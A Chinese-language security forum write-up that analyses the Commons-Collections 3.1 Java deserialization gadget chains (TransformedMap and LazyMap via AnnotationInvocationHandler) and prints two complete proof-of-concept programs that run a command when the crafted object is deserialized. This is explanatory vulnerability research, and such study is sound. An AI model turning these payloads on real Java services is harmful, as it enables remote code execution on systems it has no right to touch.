漏洞点

漏洞点存在于 commons-collections-3.1-src.jar!/org/apache/commons/collections/functors/InvokerTransformer.java 。 在 InvokerTransformer 类中使用了反射,且反射参数均可控,所以我们可以利用这处代码调用任意类的任意方法。

接下来,我们需要找到一处可以循环调用 transform 方法的地方。全局搜索 .transform( 后发现, commons-collections-3.1-src.jar!/org/apache/commons/collections/functors/ChainedTransformer.java 类的 transform 方法刚好符合条件。

ChainedTransformer 类的 transform 方法中,对 iTransformers 数组进行了循环遍历,并调用其元素的 transform 方法。

可能有的人会有疑问,为什么要找一处循环调用 transform 方法的地方?如果你懂得如何使用 Java反射 来执行 系统命令 ,也许就能明白这么做的原因。下面贴出了 Demo 代码。我们需要利用循环,构造出下面的链式调用。

// ExecuteCMD.java
import java.io.IOException;

public class ExecuteCMD {
    public static void main(String [] args) throws IOException{
        // 普通命令执行
        Runtime.getRuntime().exec(new String [] { "deepin-calculator" });

        // 通过反射执行命令
        try{
            Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(
                    Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),
                    new String [] { "deepin-calculator" }
            );
        } catch(Exception e) {
            e.printStackTrace();
        }
    }
}

此时,我们就可以将 ChainedTransformerTransformer 属性按照如下构造:

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "deepin-calculator" }) 
};

这里 transformers 数组的第一个,我们选用的是 ConstantTransformer 类。因为该类执行 transform 方法后,会返回一个构造对象时传入的参数,在这里就是 Runtime.class

在构造好这些后,我们现在需要寻找哪里可以调用 ChainedTransformer.transform() 方法。网络上公开的主要是通过 TransformedMapLazyMap 这两个利用链,接下来我们来逐个分析。

TransformedMap利用链

先来看 TransformedMap 类,该类中有3个方法均调用了 transform() (对应下图126、141、169行代码),分别是 transformKey()、transformValue()、checkSetValue() ,且类名均可控(对应下图83-84行代码)。但是这3个方法都被 protected 修饰,所以看看哪些方法调用了它们。

我们可以看到公共方法 put()、putAll() 调用了 transformKey()、transformValue() ,而 checkSetValue() 却没有看到在哪调用。不过我们可以从注释中看出些端倪。注释说当调用该类的 setValue 方法时,会自动调用 checkSetValue 方法。该类 setValue 方法继承自父类 AbstractInputCheckedMapDecorator ,我们看其父类代码。

AbstractInputCheckedMapDecorator 的根父类实际就是 Map ,所以我们现在只需要找到一处 readObject 方法,只要它调用了 Map.setValue() 方法,即可完成整个反序列化链。下面,我们来看满足这个条件的 AnnotationInvocationHandler 类,该类属于 JDK1.7 自带的,代码如下。

我们可以在 AnnotationInvocationHandler 类的 readObject 方法中看到 setValue 方法的调用。而想要成功执行到此处,我们需要先绕过上图360行的if条件。其中需要关注的就是 var7、var8 两个变量的值。实际上, var7 的值只与 this.type 有关; var8 只与 this.memberValues 有关,所以我们转而关注构造函数。在构造函数中,程序要求我们传入的第一个参数必须继承 java.lang.annotation.Annotation 接口。而在 Java 中,所有的注解实际上都继承自该接口。所以我们第一个变量传入一个JDK自带注解,这样第二个 Map 类型的变量也可以正常赋值。

现在来看看如何去构造这两个 this.type、this.memberValues 这两个变量。实际上,并不是将 this.type 设置成任意注解类都能执行 POC 。网络上很多分析文章将 this.type 设置成 java.lang.annotation.Retention.class ,但是没有说为什么这个类可以。而在调试代码的过程中,我发现这个问题和注解类中有无定义方法有关。只有定义了方法的注解才能触发 POC 。例如 java.lang.annotation.Retention、java.lang.annotation.Target 都可以触发,而 java.lang.annotation.Documented 则不行。而且我们 POC 中, innermap 必须有一个键名与注解类方法名一样的元素(如下图箭头指向)。而注解类方法返回类型将是 var7 的值。

具体怎么影响,调试下 /opt/java/jdk1.7.0_80/jre/lib/rt.jar!/sun/reflect/annotation/AnnotationType.class:AnnotationType() 就知道了,这里不再赘述。

最终构造 TransformedMap 利用链如下:

// PopChain1.java
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class Demo {
    public static Object generatePayload() throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "deepin-calculator" })
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innermap = new HashMap();
        innermap.put("value", "mochazz");
        Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
        //通过反射获得AnnotationInvocationHandler类对象
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //通过反射获得cls的构造函数
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        //这里需要设置Accessible为true,否则序列化失败
        ctor.setAccessible(true);
        //通过newInstance()方法实例化对象
        Object instance = ctor.newInstance(Retention.class, outmap);
        return instance;
    }

    public static void main(String[] args) throws Exception {
        payload2File(generatePayload(),"obj");
        payloadTest("obj");
    }
    public static void payload2File(Object instance, String file)
            throws Exception {
        //将构造好的payload序列化后写入文件中
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static void payloadTest(String file) throws Exception {
        //读取写入的payload,并进行反序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
        in.close();
    }
}

LazyMap利用链

在分析 LazyMap 这条利用链之前,我们得先了解 Java 中代理模式的概念。

代理实际上是:在不修改原函数代码的基础上,为其添加额外的功能代码,有点像 Python 中的装饰器。下面分别来看静态代理与动态代理的示例。

静态代理示例:

// StaticProxyDemo.java
public class StaticProxyDemo {
    public static void main(String[] args){
        Animals catProxy = new CatProxy();
        catProxy.say();
    }
}

interface Animals{
    void say();
}

class  Cat implements Animals{
    public void say() {
        System.out.println("I'm a cat!");
    }
}

class CatProxy implements Animals  {
    private Cat cat = new Cat();
    public void say() {
        System.out.println("Before invoke say!");
        cat.say();
        System.out.println("After invoke say!");
    }
}

/*
    执行结果:
        Before invoke say!
        I'm a cat!
        After invoke say!
 */

动态代理示例:

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class DynamicProxyDemo {
    public static void main(String[] args){
        Animals cat = new Cat();
        InvocationHandler handler = (InvocationHandler) new CatProxyHandle(cat);
        Animals catProxy = (Animals) Proxy.newProxyInstance(Cat.class.getClassLoader(), Cat.class.getInterfaces(), handler);
        catProxy.say();
    }
}

interface Animals{
    void say();
}

class  Cat implements Animals{
    public void say() {
        System.out.println("I'm a cat!");
    }
}

class CatProxyHandle implements InvocationHandler {
    private Object obj;

    public CatProxyHandle(Object obj) {
        this.obj = obj;
    }

    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("Before invoke " + method.getName());
        method.invoke(obj, args);
        System.out.println("After invoke " + method.getName());
        return null;
    }
}

/*
    执行结果:
        Before invoke say
        I'm a cat!
        After invoke say
 */

通过上面动态代理的示例,我们可以清晰看到,程序会调用实现了代理类(必须实现 InvocationHandler )的 invoke 方法,然后再通过反射调用被代理类的方法。

在了解了上面这些概念之后,我们就可以直接来看 LazyMap 这个利用链。首先,我们在 LazyMap:get() 中发现调用了 transform 方法,且前面的 factory 可控,所以我们继续搜下哪里调用了这个 get 方法。

AnnotationInvocationHandler 类的 invoke 方法中,我们可以看到有 get() 方法调用,且 this.memberValues 可控。通过动态代理,我们就可以触发这个 invoke 方法。

最终构造 LazyMap 利用链如下:

// PopChain2.java
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

public class PopChain2 {
    public static Object generatePayload() throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "deepin-calculator" })
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innermap = new HashMap();
        innermap.put("value", "mochazz");
        Map outmap = LazyMap.decorate(innermap,transformerChain);
        //通过反射获得AnnotationInvocationHandler类对象
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //通过反射获得cls的构造函数
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        //这里需要设置Accessible为true,否则序列化失败
        ctor.setAccessible(true);
        //通过newInstance()方法实例化对象
        InvocationHandler handler = (InvocationHandler)ctor.newInstance(Retention.class, outmap);
        Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);
        Object instance = ctor.newInstance(Retention.class, mapProxy);

        return instance;
    }

    public static void main(String[] args) throws Exception {
        payload2File(generatePayload(),"obj");
        payloadTest("obj");
    }
    public static void payload2File(Object instance, String file)
            throws Exception {
        //将构造好的payload序列化后写入文件中
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static void payloadTest(String file) throws Exception {
        //读取写入的payload,并进行反序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
        in.close();
    }
}

参考

Java反序列化利用链挖掘之CommonsCollections1

以Commons-Collections为例谈Java反序列化POC的编写

点击收藏 | 0 关注 | 3
登录 后跟帖